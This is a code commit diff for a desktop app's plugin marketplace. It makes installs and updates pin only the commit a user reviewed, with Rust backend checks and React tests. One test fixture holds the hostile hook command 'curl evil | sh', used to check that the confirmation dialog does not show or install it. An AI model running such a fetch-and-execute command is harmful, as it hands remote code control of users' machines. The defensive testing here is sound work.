Marketplace: pin the commit the user reviewed (final review I2)
Install and update pinned whatever the marketplace head was when the click landed, so a background refresh between review and click could pin content nobody saw (including a hook's shell commands). install_marketplace_item and update_marketplace_item now take expected_commit and refuse with "changed since you reviewed this item — review it again" unless it is still the head. The UI passes the head the selected item was read at (Browse), the head frozen with a pending hook confirm (whose commands are frozen too), and the head of the accepted diff (Installed). Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
@@ -62,6 +62,26 @@ pub(crate) mod ops {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The commit to pin for an install or update: the marketplace's current
|
||||||
|
/// head, but only if it is the one the person reviewed (`expected`, the
|
||||||
|
/// head the UI showed or diffed against). A refresh that lands between
|
||||||
|
/// review and click must not pin content nobody saw (final review I2).
|
||||||
|
pub fn reviewed_head(
|
||||||
|
head: Option<&str>,
|
||||||
|
expected: &str,
|
||||||
|
marketplace_name: &str,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
let head = head.ok_or_else(|| {
|
||||||
|
format!("\"{marketplace_name}\" has not been fetched yet — refresh it first.")
|
||||||
|
})?;
|
||||||
|
if head != expected {
|
||||||
|
return Err(format!(
|
||||||
|
"\"{marketplace_name}\" has changed since you reviewed this item — review it again."
|
||||||
|
));
|
||||||
|
}
|
||||||
|
Ok(head.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
/// An unvalidated value as it may appear in an error: quoted and escaped
|
/// An unvalidated value as it may appear in an error: quoted and escaped
|
||||||
/// (`{:?}`) and capped at 60 characters, since it can come from an
|
/// (`{:?}`) and capped at 60 characters, since it can come from an
|
||||||
/// import file rather than from what the person just typed.
|
/// import file rather than from what the person just typed.
|
||||||
@@ -226,6 +246,23 @@ pub(crate) mod ops {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Final review I2: an install or update pins exactly the commit the
|
||||||
|
/// person reviewed, or nothing.
|
||||||
|
#[test]
|
||||||
|
fn only_the_reviewed_head_is_pinned() {
|
||||||
|
let h = "a".repeat(40);
|
||||||
|
assert_eq!(reviewed_head(Some(&h), &h, "Team").unwrap(), h);
|
||||||
|
let moved = reviewed_head(Some(&h), &"b".repeat(40), "Team").unwrap_err();
|
||||||
|
assert!(moved.contains("changed since you reviewed"), "{moved}");
|
||||||
|
assert!(moved.contains("review it again"), "{moved}");
|
||||||
|
assert!(reviewed_head(Some(&h), "", "Team").is_err());
|
||||||
|
let unfetched = reviewed_head(None, &h, "Team").unwrap_err();
|
||||||
|
assert!(
|
||||||
|
unfetched.contains("has not been fetched yet"),
|
||||||
|
"{unfetched}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
/// Pre-flight F13: the add form and the fetch agree on what a branch
|
/// Pre-flight F13: the add form and the fetch agree on what a branch
|
||||||
/// is, so a name the fetch would refuse is refused up front.
|
/// is, so a name the fetch would refuse is refused up front.
|
||||||
#[test]
|
#[test]
|
||||||
@@ -642,24 +679,21 @@ pub async fn forget_marketplace_installs(
|
|||||||
// Installs
|
// Installs
|
||||||
// ─────────────────────────────────────────────────────────────────────────────
|
// ─────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
/// Pins the item at the marketplace's current head. Returns fresh settings;
|
/// Pins the item at `expected_commit`, the head the person reviewed, which
|
||||||
/// for a project scope the caller reloads projects.
|
/// must still be the marketplace's head. Returns fresh settings; for a
|
||||||
|
/// project scope the caller reloads projects.
|
||||||
#[tauri::command]
|
#[tauri::command]
|
||||||
pub async fn install_marketplace_item(
|
pub async fn install_marketplace_item(
|
||||||
item: MarketplaceItemRef,
|
item: MarketplaceItemRef,
|
||||||
scope: InstallScope,
|
scope: InstallScope,
|
||||||
|
expected_commit: String,
|
||||||
state: State<'_, AppState>,
|
state: State<'_, AppState>,
|
||||||
) -> Result<AppSettings, String> {
|
) -> Result<AppSettings, String> {
|
||||||
validate_item(&item)?;
|
validate_item(&item)?;
|
||||||
let settings = state.settings_store.get();
|
let settings = state.settings_store.get();
|
||||||
let m = find_marketplace(&settings, &item.marketplace_id)?;
|
let m = find_marketplace(&settings, &item.marketplace_id)?;
|
||||||
let snap = snapshot_blocking(&state, &m).await?;
|
let snap = snapshot_blocking(&state, &m).await?;
|
||||||
let head = snap.head_commit.clone().ok_or_else(|| {
|
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
|
||||||
format!(
|
|
||||||
"\"{}\" has not been fetched yet — refresh it first.",
|
|
||||||
m.name
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
let entry = snap
|
let entry = snap
|
||||||
.items
|
.items
|
||||||
.iter()
|
.iter()
|
||||||
@@ -781,26 +815,21 @@ pub async fn marketplace_item_diff(
|
|||||||
.map_err(|e| format!("Computing the diff failed: {e}"))?
|
.map_err(|e| format!("Computing the diff failed: {e}"))?
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Moves one install's pin to the marketplace's head, if the item is still
|
/// Moves one install's pin to `expected_commit`, the head whose diff the
|
||||||
/// installable there.
|
/// person accepted, if that is still the marketplace's head and the item is
|
||||||
|
/// still installable there.
|
||||||
#[tauri::command]
|
#[tauri::command]
|
||||||
pub async fn update_marketplace_item(
|
pub async fn update_marketplace_item(
|
||||||
item: MarketplaceItemRef,
|
item: MarketplaceItemRef,
|
||||||
scope: InstallScope,
|
scope: InstallScope,
|
||||||
|
expected_commit: String,
|
||||||
state: State<'_, AppState>,
|
state: State<'_, AppState>,
|
||||||
) -> Result<(), String> {
|
) -> Result<(), String> {
|
||||||
validate_item(&item)?;
|
validate_item(&item)?;
|
||||||
let settings = state.settings_store.get();
|
let settings = state.settings_store.get();
|
||||||
let m = find_marketplace(&settings, &item.marketplace_id)?;
|
let m = find_marketplace(&settings, &item.marketplace_id)?;
|
||||||
let head = snapshot_blocking(&state, &m)
|
let snap = snapshot_blocking(&state, &m).await?;
|
||||||
.await?
|
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
|
||||||
.head_commit
|
|
||||||
.ok_or_else(|| {
|
|
||||||
format!(
|
|
||||||
"\"{}\" has not been fetched yet — refresh it first.",
|
|
||||||
m.name
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
|
|
||||||
let repo = git::cache_path(state.marketplace.data_root(), &m.id);
|
let repo = git::cache_path(state.marketplace.data_root(), &m.id);
|
||||||
let (kind, key, at) = (item.kind, item.key.clone(), head.clone());
|
let (kind, key, at) = (item.kind, item.key.clone(), head.clone());
|
||||||
|
|||||||
@@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState";
|
|||||||
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
|
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
|
||||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||||
|
|
||||||
vi.mock("./InstallControls", () => ({ default: () => <div>install controls</div> }));
|
vi.mock("./InstallControls", () => ({
|
||||||
|
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
|
||||||
|
}));
|
||||||
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
|
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
|
||||||
|
|
||||||
import BrowsePane from "./BrowsePane";
|
import BrowsePane from "./BrowsePane";
|
||||||
@@ -76,7 +78,15 @@ describe("BrowsePane", () => {
|
|||||||
|
|
||||||
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
||||||
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
|
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
|
||||||
expect(screen.getByText("install controls")).toBeInTheDocument();
|
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("I2: installs pin the head the shown item was read at, not a later one", () => {
|
||||||
|
const mp = api();
|
||||||
|
const { rerender } = render(<BrowsePane mp={mp} />);
|
||||||
|
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
||||||
|
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
|
||||||
|
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it("shows why an item is invalid", () => {
|
it("shows why an item is invalid", () => {
|
||||||
|
|||||||
@@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
|
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
|
||||||
const [kind, setKind] = useState<KindFilter>("all");
|
const [kind, setKind] = useState<KindFilter>("all");
|
||||||
const [query, setQuery] = useState("");
|
const [query, setQuery] = useState("");
|
||||||
const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null);
|
// The item is kept as it was read, with the head it was read at: an
|
||||||
|
// install pins exactly what the detail pane shows (final review I2).
|
||||||
|
const [selected, setSelected] = useState<{
|
||||||
|
marketplaceId: string;
|
||||||
|
item: CatalogItem;
|
||||||
|
headCommit: string | null;
|
||||||
|
} | null>(null);
|
||||||
const [adding, setAdding] = useState(false);
|
const [adding, setAdding] = useState(false);
|
||||||
const [removing, setRemoving] = useState<Marketplace | null>(null);
|
const [removing, setRemoving] = useState<Marketplace | null>(null);
|
||||||
|
|
||||||
@@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
.filter((i) => kind === "all" || i.kind === kind)
|
.filter((i) => kind === "all" || i.kind === kind)
|
||||||
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
|
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
|
||||||
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
|
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
|
||||||
.map((item) => ({ marketplaceId: snap.marketplace_id, item })),
|
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
|
||||||
);
|
);
|
||||||
}, [mp.snapshots, kind, query]);
|
}, [mp.snapshots, kind, query]);
|
||||||
|
|
||||||
@@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
className={inputClass}
|
className={inputClass}
|
||||||
/>
|
/>
|
||||||
<ul className="space-y-1">
|
<ul className="space-y-1">
|
||||||
{rows.map(({ marketplaceId, item }) => {
|
{rows.map(({ marketplaceId, item, headCommit }) => {
|
||||||
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
|
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
|
||||||
const isSel =
|
const isSel =
|
||||||
selected?.marketplaceId === marketplaceId &&
|
selected?.marketplaceId === marketplaceId &&
|
||||||
@@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
<li key={key}>
|
<li key={key}>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSelected({ marketplaceId, item })}
|
onClick={() => setSelected({ marketplaceId, item, headCommit })}
|
||||||
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
|
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
|
||||||
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
|
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
|
||||||
}`}
|
}`}
|
||||||
@@ -197,7 +203,12 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
|
|
||||||
<section className="flex-1 min-w-0 p-4 overflow-auto">
|
<section className="flex-1 min-w-0 p-4 overflow-auto">
|
||||||
{selected ? (
|
{selected ? (
|
||||||
<ItemDetail mp={mp} item={selected.item} marketplaceId={selected.marketplaceId} />
|
<ItemDetail
|
||||||
|
mp={mp}
|
||||||
|
item={selected.item}
|
||||||
|
marketplaceId={selected.marketplaceId}
|
||||||
|
headCommit={selected.headCommit}
|
||||||
|
/>
|
||||||
) : (
|
) : (
|
||||||
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
|
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -4,16 +4,20 @@ import type { CatalogItem } from "../../lib/types";
|
|||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
item: CatalogItem;
|
item: CatalogItem;
|
||||||
|
/** The commit whose commands are listed; the install pins exactly this one. */
|
||||||
|
commit: string;
|
||||||
onConfirm: () => void;
|
onConfirm: () => void;
|
||||||
onCancel: () => void;
|
onCancel: () => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
|
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
|
||||||
export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) {
|
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
|
||||||
return (
|
return (
|
||||||
<Modal
|
<Modal
|
||||||
title={`Install hook “${item.name}”?`}
|
title={`Install hook “${item.name}”?`}
|
||||||
description="This hook runs the commands below inside the container whenever its event fires."
|
description={`This hook runs the commands below inside the container whenever its event fires.${
|
||||||
|
commit ? ` Version ${commit.slice(0, 8)}.` : ""
|
||||||
|
}`}
|
||||||
widthClassName="w-[40rem]"
|
widthClassName="w-[40rem]"
|
||||||
onClose={onCancel}
|
onClose={onCancel}
|
||||||
footer={
|
footer={
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ import type { AppSettings, CatalogItem, Project } from "../../lib/types";
|
|||||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||||
|
|
||||||
const C = "c".repeat(40);
|
const C = "c".repeat(40);
|
||||||
|
/** The snapshot head the user is looking at. */
|
||||||
|
const H = "d".repeat(40);
|
||||||
|
|
||||||
function api(): MarketplaceApi {
|
function api(): MarketplaceApi {
|
||||||
return {
|
return {
|
||||||
@@ -55,22 +57,22 @@ describe("InstallControls", () => {
|
|||||||
|
|
||||||
it("installs for all projects", () => {
|
it("installs for all projects", () => {
|
||||||
const mp = api();
|
const mp = api();
|
||||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" });
|
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
|
||||||
});
|
});
|
||||||
|
|
||||||
it("installs for one project", () => {
|
it("installs for one project", () => {
|
||||||
const mp = api();
|
const mp = api();
|
||||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
|
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
|
||||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" });
|
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
|
||||||
});
|
});
|
||||||
|
|
||||||
it("opts a project out of a global install and back in", () => {
|
it("opts a project out of a global install and back in", () => {
|
||||||
const mp = api();
|
const mp = api();
|
||||||
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
|
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
|
||||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||||
const row1 = screen.getByTestId("install-row-p1");
|
const row1 = screen.getByTestId("install-row-p1");
|
||||||
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
|
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
|
||||||
fireEvent.click(within(row1).getByRole("checkbox"));
|
fireEvent.click(within(row1).getByRole("checkbox"));
|
||||||
@@ -84,30 +86,49 @@ describe("InstallControls", () => {
|
|||||||
it("removes a project-only install", () => {
|
it("removes a project-only install", () => {
|
||||||
const mp = api();
|
const mp = api();
|
||||||
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
|
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
|
||||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
|
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
|
||||||
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
|
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
|
||||||
});
|
});
|
||||||
|
|
||||||
it("requires confirmation before installing a hook", () => {
|
it("requires confirmation before installing a hook", () => {
|
||||||
const mp = api();
|
const mp = api();
|
||||||
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" />);
|
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
|
||||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||||
expect(mp.install).not.toHaveBeenCalled();
|
expect(mp.install).not.toHaveBeenCalled();
|
||||||
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
|
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
|
||||||
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
||||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" });
|
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("I2: a hook confirm installs the commit whose commands it showed", () => {
|
||||||
|
const mp = api();
|
||||||
|
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
|
||||||
|
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||||
|
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
|
||||||
|
// The marketplace moves on while the confirm is open.
|
||||||
|
rerender(
|
||||||
|
<InstallControls
|
||||||
|
mp={mp}
|
||||||
|
item={item("hook", { hook_commands: ["curl evil | sh"] })}
|
||||||
|
marketplaceId="m1"
|
||||||
|
headCommit={"e".repeat(40)}
|
||||||
|
/>,
|
||||||
|
);
|
||||||
|
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
|
||||||
|
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
||||||
|
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||||
});
|
});
|
||||||
|
|
||||||
it("disables everything for an invalid item", () => {
|
it("disables everything for an invalid item", () => {
|
||||||
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" />);
|
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
|
||||||
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
||||||
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
|
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
|
||||||
});
|
});
|
||||||
|
|
||||||
it("shows only the filtered project when a filter is set", () => {
|
it("shows only the filtered project when a filter is set", () => {
|
||||||
useAppState.setState({ marketplaceFilterProjectId: "p2" });
|
useAppState.setState({ marketplaceFilterProjectId: "p2" });
|
||||||
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" />);
|
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||||
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
|
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
|
||||||
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
|
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -18,13 +18,25 @@ interface Props {
|
|||||||
mp: MarketplaceApi;
|
mp: MarketplaceApi;
|
||||||
item: CatalogItem;
|
item: CatalogItem;
|
||||||
marketplaceId: string;
|
marketplaceId: string;
|
||||||
|
/**
|
||||||
|
* The marketplace head `item` was read at. Installs pin exactly this commit;
|
||||||
|
* the backend refuses if the marketplace has moved on since (final review I2).
|
||||||
|
*/
|
||||||
|
headCommit: string | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
|
||||||
|
interface PendingHook {
|
||||||
|
scope: InstallScope;
|
||||||
|
item: CatalogItem;
|
||||||
|
commit: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
|
||||||
const appSettings = useAppState((s) => s.appSettings);
|
const appSettings = useAppState((s) => s.appSettings);
|
||||||
const projects = useAppState((s) => s.projects);
|
const projects = useAppState((s) => s.projects);
|
||||||
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
||||||
const [pendingHook, setPendingHook] = useState<InstallScope | null>(null);
|
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
|
||||||
const [busy, setBusy] = useState(false);
|
const [busy, setBusy] = useState(false);
|
||||||
|
|
||||||
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
||||||
@@ -33,6 +45,8 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
|||||||
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
|
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
|
||||||
);
|
);
|
||||||
const disabled = item.invalid !== null || busy;
|
const disabled = item.invalid !== null || busy;
|
||||||
|
// "" never matches a head, so the backend explains that a refresh is needed.
|
||||||
|
const commit = headCommit ?? "";
|
||||||
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
|
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
|
||||||
|
|
||||||
const run = async (fn: () => Promise<boolean>) => {
|
const run = async (fn: () => Promise<boolean>) => {
|
||||||
@@ -47,10 +61,10 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
|||||||
/** Every install goes through here so a hook is always confirmed first. */
|
/** Every install goes through here so a hook is always confirmed first. */
|
||||||
const install = (scope: InstallScope) => {
|
const install = (scope: InstallScope) => {
|
||||||
if (item.kind === "hook") {
|
if (item.kind === "hook") {
|
||||||
setPendingHook(scope);
|
setPendingHook({ scope, item, commit });
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
void run(() => mp.install(ref, scope));
|
void run(() => mp.install(ref, scope, commit));
|
||||||
};
|
};
|
||||||
|
|
||||||
const toggleProject = (projectId: string, state: ProjectItemState) => {
|
const toggleProject = (projectId: string, state: ProjectItemState) => {
|
||||||
@@ -111,12 +125,13 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
|||||||
)}
|
)}
|
||||||
{pendingHook && (
|
{pendingHook && (
|
||||||
<HookConfirmModal
|
<HookConfirmModal
|
||||||
item={item}
|
item={pendingHook.item}
|
||||||
|
commit={pendingHook.commit}
|
||||||
onCancel={() => setPendingHook(null)}
|
onCancel={() => setPendingHook(null)}
|
||||||
onConfirm={() => {
|
onConfirm={() => {
|
||||||
const scope = pendingHook;
|
const { scope, commit: reviewed } = pendingHook;
|
||||||
setPendingHook(null);
|
setPendingHook(null);
|
||||||
void run(() => mp.install(ref, scope));
|
void run(() => mp.install(ref, scope, reviewed));
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -79,10 +79,21 @@ describe("InstalledPane", () => {
|
|||||||
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
||||||
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
||||||
await waitFor(() =>
|
await waitFor(() =>
|
||||||
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }),
|
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
|
||||||
|
const C = "c".repeat(40);
|
||||||
|
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
|
||||||
|
const mp = api({ updates: [{ item, pinned: A, head: B }] });
|
||||||
|
const { rerender } = render(<InstalledPane mp={mp} />);
|
||||||
|
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
||||||
|
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
|
||||||
|
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
||||||
|
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
|
||||||
|
});
|
||||||
|
|
||||||
it("marks installs whose marketplace was removed and forgets them", () => {
|
it("marks installs whose marketplace was removed and forgets them", () => {
|
||||||
const mp = api();
|
const mp = api();
|
||||||
render(<InstalledPane mp={mp} />);
|
render(<InstalledPane mp={mp} />);
|
||||||
|
|||||||
@@ -16,6 +16,8 @@ interface Pending {
|
|||||||
update: ItemUpdate;
|
update: ItemUpdate;
|
||||||
scope: InstallScope;
|
scope: InstallScope;
|
||||||
scopeLabel: string;
|
scopeLabel: string;
|
||||||
|
/** Hooks only: what the hook runs at `update.head`, captured with it. */
|
||||||
|
hookCommands: string[] | undefined;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
||||||
@@ -42,10 +44,13 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
|
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
|
||||||
* diff review shows what a hook will run after the update, not just the
|
* diff review shows what a hook will run after the update, not just the
|
||||||
* raw `hook.json` diff. */
|
* raw `hook.json` diff. */
|
||||||
const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => {
|
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
|
||||||
if (item.kind !== "hook") return undefined;
|
if (item.kind !== "hook") return undefined;
|
||||||
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
|
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
|
||||||
return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
|
// Only when the snapshot is at the head being reviewed; otherwise they
|
||||||
|
// would describe a different version than the diff.
|
||||||
|
if (snap?.head_commit !== head) return undefined;
|
||||||
|
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
|
||||||
};
|
};
|
||||||
|
|
||||||
const removedSources = [
|
const removedSources = [
|
||||||
@@ -100,7 +105,9 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
size="sm"
|
size="sm"
|
||||||
variant="secondary"
|
variant="secondary"
|
||||||
aria-label={`Review update for ${i.key}`}
|
aria-label={`Review update for ${i.key}`}
|
||||||
onClick={() => setPending({ install: i, update: upd, scope, scopeLabel })}
|
onClick={() =>
|
||||||
|
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
|
||||||
|
}
|
||||||
>
|
>
|
||||||
Update available
|
Update available
|
||||||
</Button>
|
</Button>
|
||||||
@@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
|||||||
fromCommit={pending.install.commit}
|
fromCommit={pending.install.commit}
|
||||||
toCommit={pending.update.head}
|
toCommit={pending.update.head}
|
||||||
scopeLabel={pending.scopeLabel}
|
scopeLabel={pending.scopeLabel}
|
||||||
hookCommands={hookCommandsFor(pending.update.item)}
|
hookCommands={pending.hookCommands}
|
||||||
onClose={() => setPending(null)}
|
onClose={() => setPending(null)}
|
||||||
